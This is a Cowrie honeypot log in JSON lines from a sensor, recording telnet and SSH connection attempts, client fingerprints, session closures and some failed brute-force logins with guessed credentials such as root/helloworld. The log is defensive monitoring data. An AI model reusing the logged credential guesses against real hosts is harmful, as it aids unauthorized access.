{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":38810,"dst_ip":"159.203.135.109","dst_port":23,"session":"55fb4c2532cd","protocol":"telnet","message":"New connection: 66.113.160.81:38810 (159.203.135.109:23) [session: 55fb4c2532cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.716840Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43820,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a0df3129f1","protocol":"ssh","message":"New connection: 192.109.200.78:43820 (10.17.0.5:22) [session: 30a0df3129f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.840559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.846381Z","src_ip":"192.109.200.78","session":"30a0df3129f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.942839Z","src_ip":"192.109.200.78","session":"30a0df3129f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.968029260635376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.039729Z","src_ip":"157.250.199.120","session":"b7ed7886a273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97586750984192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.092937Z","src_ip":"69.60.120.238","session":"8161a66208e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910327672958374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.099108Z","src_ip":"69.60.120.238","session":"7b087dfa2059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002846717834473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.181886Z","src_ip":"69.60.120.238","session":"f4945caefa69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109567880630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.207278Z","src_ip":"69.60.120.238","session":"bfad34a34604","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.537912Z","src_ip":"192.109.200.78","session":"30a0df3129f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.08130168914795,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.602787Z","src_ip":"5.42.229.203","session":"61d02cfe3d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09784173965454,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.608134Z","src_ip":"5.42.229.203","session":"86b7abf8885a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.246459484100342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:13.673782Z","src_ip":"66.113.160.81","session":"d23208596de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99200129508972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:14.139332Z","src_ip":"69.60.120.238","session":"da4b14594ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064826726913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:14.301384Z","src_ip":"157.250.199.120","session":"be723c197783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:14.623347Z","src_ip":"192.109.200.78","session":"30a0df3129f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.922281742095947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:14.701947Z","src_ip":"66.113.160.81","session":"9181e5c401d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652673959732056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.095560Z","src_ip":"139.59.95.121","session":"ddb7654e3c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91841983795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.104686Z","src_ip":"69.60.120.238","session":"640dab8e71d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":33662,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ee4d6ae9742","protocol":"telnet","message":"New connection: 31.186.175.50:33662 (159.203.135.109:23) [session: 9ee4d6ae9742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.171194Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":44848,"dst_ip":"159.203.135.109","dst_port":23,"session":"7470db1f1df1","protocol":"telnet","message":"New connection: 69.60.120.238:44848 (159.203.135.109:23) [session: 7470db1f1df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.222543Z"}
{"eventid":"cowrie.session.closed","duration":31.029924392700195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.750567Z","src_ip":"66.113.160.81","session":"519cce0455d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":40580,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ddcb2a5038","protocol":"telnet","message":"New connection: 66.113.160.81:40580 (159.203.135.109:23) [session: c6ddcb2a5038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:15.781707Z"}
{"eventid":"cowrie.session.closed","duration":31.00788402557373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:16.247103Z","src_ip":"34.125.158.14","session":"c6abb1459b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":41234,"dst_ip":"159.203.135.109","dst_port":23,"session":"44add04d526f","protocol":"telnet","message":"New connection: 66.113.160.81:41234 (159.203.135.109:23) [session: 44add04d526f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:16.962282Z"}
{"eventid":"cowrie.session.closed","duration":31.238410711288452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.237777Z","src_ip":"34.125.158.14","session":"2b5528ae4217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43822,"dst_ip":"10.17.0.5","dst_port":22,"session":"639165cbd117","protocol":"ssh","message":"New connection: 192.109.200.78:43822 (10.17.0.5:22) [session: 639165cbd117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.308846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.314660Z","src_ip":"192.109.200.78","session":"639165cbd117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.407064Z","src_ip":"192.109.200.78","session":"639165cbd117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.661815Z","src_ip":"192.109.200.78","session":"639165cbd117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":41704,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6140e9034c","protocol":"telnet","message":"New connection: 66.113.160.81:41704 (159.203.135.109:23) [session: 8f6140e9034c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.772905Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":41838,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a2007f5aa1","protocol":"telnet","message":"New connection: 66.113.160.81:41838 (159.203.135.109:23) [session: 49a2007f5aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:17.917968Z"}
{"eventid":"cowrie.session.closed","duration":30.945008754730225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.027371Z","src_ip":"157.250.199.120","session":"422f1d815c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680848121643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.109705Z","src_ip":"34.125.158.14","session":"384fe90aab96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330069065093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.141414Z","src_ip":"157.250.199.120","session":"90316eedcbaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697571516036987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.224523Z","src_ip":"198.50.124.226","session":"6ce31c37a2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875124216079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.235322Z","src_ip":"34.125.158.14","session":"b09a83114d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875922918319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.682037Z","src_ip":"66.113.160.81","session":"02fff322c59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9386887550354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.756957Z","src_ip":"66.113.160.81","session":"8ad49ae614d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:18.851190Z","src_ip":"192.109.200.78","session":"639165cbd117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.889211654663086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.067078Z","src_ip":"157.250.199.120","session":"c6082dd7a211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872632026672363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.084623Z","src_ip":"62.210.114.58","session":"9abccc0f9ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":33862,"dst_ip":"159.203.135.109","dst_port":23,"session":"948781c14e46","protocol":"telnet","message":"New connection: 31.186.175.50:33862 (159.203.135.109:23) [session: 948781c14e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.284460Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"e335f80d1e1c","protocol":"telnet","message":"New connection: 34.125.158.14:47078 (159.203.135.109:23) [session: e335f80d1e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.314581Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":47208,"dst_ip":"159.203.135.109","dst_port":23,"session":"7212f025b296","protocol":"telnet","message":"New connection: 34.125.158.14:47208 (159.203.135.109:23) [session: 7212f025b296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.417586Z"}
{"eventid":"cowrie.session.closed","duration":30.90047001838684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.696043Z","src_ip":"66.113.160.81","session":"a8e77bc4c7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":42790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba129aba9082","protocol":"telnet","message":"New connection: 66.113.160.81:42790 (159.203.135.109:23) [session: ba129aba9082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:19.789684Z"}
{"eventid":"cowrie.session.closed","duration":30.844379901885986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:20.501212Z","src_ip":"172.104.129.70","session":"c508428224a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86583185195923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.006437Z","src_ip":"157.250.199.120","session":"6a39541b4481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":43536,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe19277b4b6","protocol":"telnet","message":"New connection: 66.113.160.81:43536 (159.203.135.109:23) [session: dbe19277b4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.125560Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b1e2251cab","protocol":"ssh","message":"New connection: 192.109.200.78:46656 (10.17.0.5:22) [session: 70b1e2251cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.568952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.574230Z","src_ip":"192.109.200.78","session":"70b1e2251cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.656228Z","src_ip":"192.109.200.78","session":"70b1e2251cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":43914,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb7ad753f59","protocol":"telnet","message":"New connection: 66.113.160.81:43914 (159.203.135.109:23) [session: 1eb7ad753f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.758102Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:21.912895Z","src_ip":"192.109.200.78","session":"70b1e2251cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":44104,"dst_ip":"159.203.135.109","dst_port":23,"session":"8688de448d09","protocol":"telnet","message":"New connection: 66.113.160.81:44104 (159.203.135.109:23) [session: 8688de448d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:22.031175Z"}
{"eventid":"cowrie.session.closed","duration":30.79579472541809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:22.199172Z","src_ip":"34.125.158.14","session":"e4f13f4bdaec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":49728,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e65f1226cfe","protocol":"telnet","message":"New connection: 34.125.158.14:49728 (159.203.135.109:23) [session: 4e65f1226cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:22.440120Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:22.998632Z","src_ip":"192.109.200.78","session":"70b1e2251cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95929789543152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.021260Z","src_ip":"198.50.124.226","session":"c7c26b9eaa19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9523503780365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.176695Z","src_ip":"69.60.120.238","session":"4c56bcbcf85c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115646362304688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.344402Z","src_ip":"62.210.114.58","session":"b4d4dd478be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.600274324417114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.364665Z","src_ip":"66.113.160.81","session":"5cb756563819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"94410f656cb9","protocol":"telnet","message":"New connection: 66.113.160.81:45206 (159.203.135.109:23) [session: 94410f656cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.747831Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":45226,"dst_ip":"159.203.135.109","dst_port":23,"session":"10beabcf9a78","protocol":"telnet","message":"New connection: 66.113.160.81:45226 (159.203.135.109:23) [session: 10beabcf9a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.778819Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"658c6b66b0d4","protocol":"telnet","message":"New connection: 5.42.229.203:35412 (159.203.135.109:23) [session: 658c6b66b0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.816790Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c0e525350c0","protocol":"telnet","message":"New connection: 5.42.229.203:35410 (159.203.135.109:23) [session: 6c0e525350c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:23.821892Z"}
{"eventid":"cowrie.session.closed","duration":30.792243719100952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.041684Z","src_ip":"128.136.227.204","session":"c43dc17bc594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":45498,"dst_ip":"159.203.135.109","dst_port":23,"session":"eec00a16b2c3","protocol":"telnet","message":"New connection: 66.113.160.81:45498 (159.203.135.109:23) [session: eec00a16b2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.314877Z"}
{"eventid":"cowrie.session.closed","duration":31.883333206176758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.617803Z","src_ip":"66.113.160.81","session":"92be37fa3394","protocol":"telnet"}
